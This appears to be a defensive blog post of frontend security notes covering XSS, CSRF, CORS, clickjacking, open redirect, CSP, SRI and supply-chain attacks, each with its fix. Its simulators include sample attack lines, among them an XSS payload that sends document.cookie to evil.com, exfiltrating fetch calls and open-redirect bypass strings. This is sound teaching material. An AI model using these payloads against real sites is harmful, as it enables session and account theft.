Engineering & Insights • October 6, 2026

Frontend Security Notes: Common Attacks and Fixes, Explained with Animations

Frontend Security Notes: Common Attacks and Fixes, Explained with Animations

Frontend Security Notes: Common Attacks and Fixes, Explained with Animations

Frontend engineers often think of security as “the backend’s job”. In practice, most attacks end up happening inside the browser: a malicious script runs in the user’s tab, the browser sends cookies along on its own, or an API key gets bundled and shipped to every visitor.

These are my study notes on frontend security. I turned the most common issues into interactive animations, and each one follows the same structure:

  1. Five steps: walk through how the attack happens, with a “hacker’s view” note at each step explaining what the attacker is thinking.
  2. Root cause: why this is possible in the first place.
  3. The right fix: code you can actually use.

Start with this little pixel quest: press “Start quest” to play from the first stage to the last, or click a stage below to jump straight to it. Each stage links to its full animation. (The full animations are in Traditional Chinese; this post covers the same content in English.)

SECURITY QUEST
Frontend security · a pixel-art explainer
SECURITY
QUEST
A frontend security adventure
0:00 / 5:20
STARTTitle
Follow the little hero through four worlds. In every stage, watch the attack succeed step by step, then see exactly where the defense stops it. Press "Start quest" when you are ready!
ATKattackDEFdefensedata
Times on the timeline are playback time, not how long a real attack takes.

How to read this post: every topic has an attack flow that plays by itself. When it finishes, flip the ”🛡 Turn on defense” switch and watch where the attack gets stopped. Seven topics also have a hands-on lab, and there is an interactive checklist and a quiz at the end.


A mental model first: four kinds of problems

These issues look scattered, but they come down to four root causes. Once you know these four, it gets much easier to place a new vulnerability.

CategoryCore ideaTopics
A. Injection and executionThe browser can’t tell “data” from “code”01 XSS, 03 Token storage, 14 CSP
B. Abused browser defaultsThe browser “helpfully” attaches cookies, embeds pages and follows redirects02 CSRF, 11 CORS, 12 Clickjacking, 13 Open redirect
C. Trust boundary in the wrong placeEverything sent to the browser is public, and every frontend check can be bypassed04 Frontend-only authz, 07 Hardcoded secrets, 08 Console logs, 09 Source maps
D. Supply chain and transportCode you trust may be swapped before it reaches the user05 Supply chain, 06 CDN SRI, 10 Mixed content

In one sentence: never trust anything that comes from the client, and never hand secrets to the client.


A. Injection and execution

01 XSS (Cross-Site Scripting)

A comment board doesn’t sanitize input, so malicious code runs in other people’s browsers.

STAGE 01Attack flow
Attacker
Comment server
Victim
Attacker server
Step 1/5
The attacker submits a comment containing a <script>.
▶ Full animation (with the hacker's view) →

Root cause: the server outputs user input as raw HTML, so the browser can’t tell “content” from “code”.

The fix

function escapeHtml(str) {
  return str.replace(/[&<>"']/g, (c) => ({
    '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;',
  }[c]));
}
res.send('<div>' + escapeHtml(comment) + '</div>');

Notes:

  • There are three kinds of XSS: stored (saved in the database), reflected (hidden in a URL parameter) and DOM-based (frontend JS puts data into innerHTML itself).
  • React and Vue escape {value} bindings by default. The dangerous parts are dangerouslySetInnerHTML, v-html, innerHTML, and <a href={userInput}> (URLs starting with javascript: still execute).
  • If you really need to render user-provided HTML (for example from a rich text editor), sanitize it with a library like DOMPurify. Don’t write your own regex.
★ Try it
Comment box XSS simulator
Type a comment and switch between the two ways of outputting it. The input is only analysed here, never executed.
Try these:
60 / 400
HTML the browser receives
<div class="comment"><img src=x onerror="fetch('//evil.com?c='+document.cookie)"></div>

03 Token storage: localStorage vs httpOnly cookies

The same malicious script gets completely different results depending on where the token is stored.

STAGE 03Attack flow
Malicious script
Browser storage
Attacker server
Step 1/5
A malicious script gets injected into the site.
▶ Full animation (with the hacker's view) →

The full animation is a side-by-side comparison. With the same XSS, a token in localStorage is read with a single localStorage.getItem('token'). A token in an httpOnly cookie can’t be read by JavaScript at all.

Root cause: localStorage is fully open to every script on the page. One XSS gap and the token is gone.

The fix

res.cookie('token', jwt, {
  httpOnly: true,    // not readable from JS
  secure: true,      // HTTPS only
  sameSite: 'strict' // not sent with cross-site requests (also helps against CSRF)
});

Note: httpOnly limits the damage; it doesn’t prevent XSS. The script can’t steal the token, but it can still send requests as the user while it runs. So it has to be combined with XSS protection and CSP. And once you move to cookies, you need to think about CSRF (see 02).

★ Try it
Token theft simulator
Pick where the token is stored, then run the injected script and see what it gets.
ElementsConsoleApplication
> _

14 CSP (Content Security Policy)

CSP is the most effective second line of defense against XSS, and many projects don’t set it at all.

STAGE 14Attack flow
Injected script
Browser
evil.com
Step 1/5
Escaping is missed somewhere and a script slips in.
▶ Full animation (with the hacker's view) →

Even if escaping is missed somewhere and a malicious script ends up on the page, CSP tells the browser: “only run the scripts I allow, and only connect to the domains I allow”. Without CSP, the browser places no limit on where scripts can send data.

The fix

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0mBase64'

Notes:

  • Generate a new random nonce for every response and add it to legitimate <script nonce="..."> tags. Injected scripts don’t have the nonce, so they won’t run.
  • Avoid 'unsafe-inline' and 'unsafe-eval'. Adding them leaves the door half open.
  • Before going live, run it as Content-Security-Policy-Report-Only for a while to make sure it doesn’t block real features.
  • connect-src limits where fetch can connect, so even if a script runs, it’s hard to get data out.
★ Try it
CSP policy switcher
The page has two scripts of yours and four things an attacker slipped in. Switch the CSP and see what the browser allows.
Content-Security-Policy: —
  • yours<script src="/app.js">▶ runs
  • yours<script nonce="r4nd0m">init()</script>▶ runs
  • attacker<script>steal()</script>▶ runs
  • attacker<img src=x onerror="steal()">▶ runs
  • attacker<script src="https://cdn.evil.com/x.js">▶ runs
  • attackerfetch('https://evil.com/c?d=' + data)▶ runs
✗ No CSP: everything the attacker injected runs, and data can leave freely.

B. Abused browser defaults

02 CSRF (Cross-Site Request Forgery)

Login credentials the browser attaches automatically are used by another site to forge requests.

STAGE 02Attack flow
User's browser
Malicious site
Bank bank.com
Step 1/5
The user logs in to the bank; the browser stores a session cookie.
▶ Full animation (with the hacker's view) →

Root cause: the server only checks “is there a session cookie?” and not whether the user actually made the request from the bank’s own site.

The fix

// Add SameSite to the cookie
res.cookie('session', token, { httpOnly: true, sameSite: 'strict', secure: true });

// Verify a random token for sensitive actions
app.post('/transfer', (req, res) => {
  if (req.body.csrfToken !== req.session.csrfToken) {
    return res.status(403).send('CSRF token mismatch');
  }
  doTransfer(req.body);
});

Note: modern browsers default to SameSite=Lax when nothing is set, which blocks most cross-site POSTs. But GET requests with side effects (like GET /delete?id=1) are still exposed. The rule: never use GET for anything that changes data, and check the Origin header on the server.

11 Overly permissive CORS

Access-Control-Allow-Origin: * opens the door to every website.

STAGE 11Attack flow
User's browser
Malicious site
Your API
Step 1/5
The user is logged in to your site.
▶ Full animation (with the hacker's view) →

Root cause: CORS exists to relax the same-origin policy. Configure it too loosely and any site can read your API as the user.

The fix: use an allowlist, not a wildcard.

const allowedOrigins = ['https://yourapp.com', 'https://admin.yourapp.com'];

app.use(cors({
  origin: (origin, callback) => {
    if (!origin || allowedOrigins.includes(origin)) callback(null, true);
    else callback(new Error('Origin not allowed'));
  },
  credentials: true,
}));

Note (the animation simplifies this): browsers actually refuse Allow-Origin: * combined with Allow-Credentials: true; that combination is blocked outright. The setup that really causes incidents is echoing back the request’s Origin together with credentials: true. It has the same effect as a wildcard, and the browser won’t block it. Also watch out for allowing the null origin, and for checks like endsWith('yourapp.com'), which evil-yourapp.com passes.

★ Try it
CORS config test bench
Every request carries the user's cookie (credentials: 'include'). Change the server config and the calling site to see what the browser decides.
Server config
Calling site
→ Request
GET /api/me
Origin: https://evil.com
Cookie: session=abc123
← API response headers
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
✗ Data leak: the Origin matches exactly and credentials are allowed, so the browser hands the user's private data to this site.

12 Clickjacking

The button you see and the button you actually click may not be the same.

STAGE 12Attack flow
User
Bait page
Hidden iframe: bank.com
Step 1/5
The attacker builds a "Claim your reward" page.
▶ Full animation (with the hacker's view) →

Root cause: the site doesn’t restrict whether other sites can embed it in an iframe.

The fix

Content-Security-Policy: frame-ancestors 'none'
X-Frame-Options: DENY

Note: frame-ancestors is the modern standard and X-Frame-Options is the fallback for older browsers; setting both is the safest option. frame-ancestors only works as an HTTP header; it has no effect in a <meta> tag.

★ Try it
Clickjacking: what did you click?
Click "Claim now" as usual, then drag the slider to reveal the transparent iframe on top.
🎉 Congrats! You won limited headphones
Claim now 🎁
🏦 bank.com · Confirm transfer
To: attacker Amount: $5,000

13 Open redirect

First land on the real site to build trust, then get quietly sent somewhere else.

STAGE 13Attack flow
User
real-bank.com
evil-fake-bank.com
Step 1/5
An email links to the real real-bank.com.
▶ Full animation (with the hacker's view) →

Root cause: the redirect target fully trusts a parameter supplied by the user.

The fix: only allow paths on an allowlist.

const allowedPaths = ['/dashboard', '/profile', '/settings'];

app.get('/login', (req, res) => {
  const target = req.query.redirect;
  if (allowedPaths.includes(target)) return res.redirect(target);
  return res.redirect('/dashboard'); // anything untrusted goes to the default page
});

Note: if an allowlist isn’t possible, at least parse it with new URL(target, location.origin) and compare the origin. Checking “does it start with /” isn’t enough: browsers treat both //evil.com and /\evil.com as external URLs.

★ Try it
Redirect validator
Enter a ?redirect= value, pick how the server checks it, and see where the user really lands.
Try these:
…/login?redirect=
Server check
//evil-fake-bank.com passes the check
The browser ends up at
https://evil-fake-bank.com/
✗ The user leaves the real site and a fake login page is waiting.
See that? It starts with / but is an external URL. Browsers treat both // and /\ as "different host".

C. Trust boundary in the wrong place

04 Authorization checked only in the frontend

Hiding a button doesn’t make it secure.

STAGE 04Attack flow
Regular user
Frontend UI
API backend
Step 1/5
The frontend sees a non-admin and hides the "Delete user" button.
▶ Full animation (with the hacker's view) →

Root cause: the permission check only exists in the frontend, and the backend trusts every request.

The fix

app.delete('/api/users/:id', requireAuth, (req, res) => {
  if (req.user.role !== 'admin') return res.status(403).send('Forbidden');
  deleteUser(req.params.id);
});

Note: besides “are you an admin?”, also check “does this record belong to you?“. If you only verify login and not ownership, changing the id in the URL shows someone else’s data. This is called IDOR (Insecure Direct Object Reference), the most common form of “Broken Access Control”, which is number one on the OWASP Top 10. Permission checks in the frontend are only there for user experience.

07 Secrets hardcoded in frontend code

Anything sent to the browser is available to anyone.

STAGE 07Attack flow
Developer
Shipped JS bundle
Any visitor
Paid API
Step 1/5
The developer writes the API key into frontend code.
▶ Full animation (with the hacker's view) →

Root cause: frontend code is delivered to the user’s browser in full, so every string in it is effectively public.

The fix: the frontend calls your own backend, and the key stays in a server environment variable.

// ✅ Frontend
fetch('/api/ask');

// ✅ Backend
app.get('/api/ask', async (req, res) => {
  const r = await fetch('https://api.openai.com/v1/...', {
    headers: { Authorization: `Bearer ${process.env.OPENAI_KEY}` },
  });
  res.json(await r.json());
});

Notes:

  • Environment variables prefixed with VITE_, NEXT_PUBLIC_ or PUBLIC_ are bundled into the frontend and must never hold secrets.
  • Some keys are designed to be public (Stripe publishable keys, Firebase config). Their security relies on backend rules and domain restrictions.
  • Once a key leaks, deleting it from the code doesn’t help, because it’s still in the Git history. Revoke and rotate it immediately.

08 Sensitive data in console logs

A debug log left behind becomes a public data window in production.

STAGE 08Attack flow
Developer
Production site
Any visitor
Step 1/5
console.log(userData) is added while debugging.
▶ Full animation (with the hacker's view) →

A console.log('user data:', userData) left over from development gets shipped. Anyone who opens the Console sees personal data, roles and internal notes, and can infer the backend’s data structure as a lead for the next attack.

Root cause: debug output doesn’t change with the environment.

The fix: strip it automatically at build time.

// webpack (Terser)
optimization: {
  minimizer: [new TerserPlugin({
    terserOptions: { compress: { drop_console: true } },
  })],
}

// Vite (esbuild)
export default defineConfig({
  esbuild: { drop: ['console', 'debugger'] },
});

Note: better than stripping after the fact is a logger with levels (debug output only in development), plus the ESLint no-console rule to catch it before code review.

09 Source maps exposing the original code

The code looks minified and obfuscated, but one .map file restores all of it.

STAGE 09Attack flow
Build tool
Production server
Attacker
Step 1/5
Code is minified to function a(b){return b.c+b.d}.
▶ Full animation (with the hacker's view) →

Root cause: a .map file is a complete lookup table between the original and the minified code.

The fix

// webpack
module.exports = {
  devtool: process.env.NODE_ENV === 'production' ? false : 'source-map',
};

// Vite (false is already the default)
export default defineConfig({ build: { sourcemap: false } });

Note: if you need original line numbers in an error tracker like Sentry, use 'hidden' to generate source maps without referencing them in the JS, upload them to the error tracker, and delete them from the deployed files. And remember: even without source maps, frontend code can still be read. Don’t build security on “nobody can understand it”.


D. Supply chain and transport

05 Third-party supply chain attacks

The package you trust may depend on a package you’ve never heard of that has already been compromised.

STAGE 05Attack flow
Attacker
npm registry
Your project
Users' browsers
Step 1/5
The attacker takes over the maintainer account of an obscure deep dependency.
▶ Full animation (with the hacker's view) →

Root cause: the project trusts the entire dependency chain but can’t review every update of every layer.

The fix

# Install exactly what the lockfile says, no automatic version bumps
npm ci

# Scan automatically in CI
npm audit
# Or enable GitHub Dependabot (.github/dependabot.yml) to open fix PRs automatically

Note: always commit the lockfile. Before adding a package, check its download count, maintenance status and number of dependencies. Consider npm install --ignore-scripts so postinstall scripts can’t run during install. Real incidents like event-stream (2018) and ua-parser-js (2021) followed exactly this pattern.

06 CDN resources without SRI

When a CDN is compromised and a file is swapped, SRI is the last line of defense.

STAGE 06Attack flow
Attacker
CDN
Your page
Users
Step 1/5
The CDN is compromised and lib.js is swapped.
▶ Full animation (with the hacker's view) →

The full animation is a side-by-side comparison. The same file on the CDN is replaced. The page without integrity accepts it as is. On the page with SRI, the browser sees the hash doesn’t match and refuses to run it.

Root cause: without the integrity attribute, the browser doesn’t check the file’s contents.

The fix

<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-..."
  crossorigin="anonymous">
</script>

Note: you can generate the hash like this:

openssl dgst -sha384 -binary lib.js | openssl base64 -A

crossorigin="anonymous" is required, otherwise the browser can’t do the check. SRI only works for files with pinned versions. It doesn’t work for things like lib@latest or resources that return different content per browser; in those cases it’s better to download the file and host it yourself.

★ Try it
SRI hash check
This is lib.js on a CDN. Hit "CDN compromised" or change a single character, and watch the hash and the browser react.
lib.js on the CDN (editable)
integrity (computed at deploy)
…
What the browser computes now
…

10 No enforced HTTPS / mixed content

The page itself is encrypted, but one unencrypted resource can be intercepted.

STAGE 10Attack flow
User's browser
Wi-Fi eavesdropper
cdn.example.com
Step 1/5
The user browses an HTTPS site on café Wi-Fi.
▶ Full animation (with the hacker's view) →

Root cause: if even one resource goes over HTTP, that resource travels completely unencrypted.

The fix

Content-Security-Policy: upgrade-insecure-requests
Strict-Transport-Security: max-age=31536000; includeSubDomains

Note: upgrade-insecure-requests automatically upgrades http:// requests on the page to https://. Strict-Transport-Security (HSTS) makes the browser remember “this site is HTTPS only”, so even typing http:// the first time goes over HTTPS. Modern browsers block mixed scripts outright, but the real fix is still changing every resource URL to https://.


Summary: every issue in one table

#TopicRoot causeFirst defense to add
01XSSInput runs as HTMLEscape on output, avoid innerHTML
02CSRFBrowser attaches cookies automaticallySameSite + CSRF token
03Token storagelocalStorage is open to JShttpOnly cookie
04Frontend authzBackend doesn’t check permissionsCheck role and ownership on every API
05Supply chainAuto-upgrade to a compromised versionnpm ci + lockfile + Dependabot
06CDN SRIExternal file contents aren’t verifiedintegrity + crossorigin
07Hardcoded secretsFrontend code is publicKeys only in backend env vars
08Console logsDebug output ships to productiondrop_console at build time
09Source maps.map files deployedDisable source maps in production
10Mixed contentSome resources over HTTPupgrade-insecure-requests + HSTS
11CORSAny origin allowedOrigin allowlist
12ClickjackingPage can be embedded anywhereframe-ancestors 'none'
13Open redirectTrusting a user-supplied URLRedirect path allowlist
14CSPBrowser doesn’t restrict script sourcesscript-src + nonce

Pre-launch checklist

★ Try it
Pre-launch checklist
Tick these off against a project you are working on. Ticks are only stored in your own browser.
HP
0 / 13 done

Security headers cheat sheet

The headers mentioned above, in one place. Most can go straight into your server or CDN config:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; frame-ancestors 'none'; upgrade-insecure-requests
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin

After setting them, check with securityheaders.com or Mozilla Observatory.

Quiz

Done reading? Try seven real-world scenarios and see whether you can name the attack from its symptoms.

★ Try it
Quiz: which attack is this?
Read the scenario and pick the matching attack.
Question 1 / 7
Someone posts a product review containing <img src=x onerror=…>. Every user who opens that page gets their account stolen.

Closing thoughts

My biggest takeaway from going through these issues: frontend security isn’t a pile of unrelated tricks. It’s a few principles that keep coming back.

  • Anything the user sends in can’t be trusted (XSS, open redirect, frontend authz).
  • Anything sent to the user is public (keys, console logs, source maps).
  • The browser’s convenience features are convenient for attackers too (CSRF, CORS, clickjacking).
  • Every layer should assume the one before it might fail (httpOnly, CSP and SRI are all defense in depth).

If you want to learn this more systematically, start with the OWASP Top 10 and MDN Web Security. Or go back to the animation index above, pick one, and walk through it from the attacker’s side.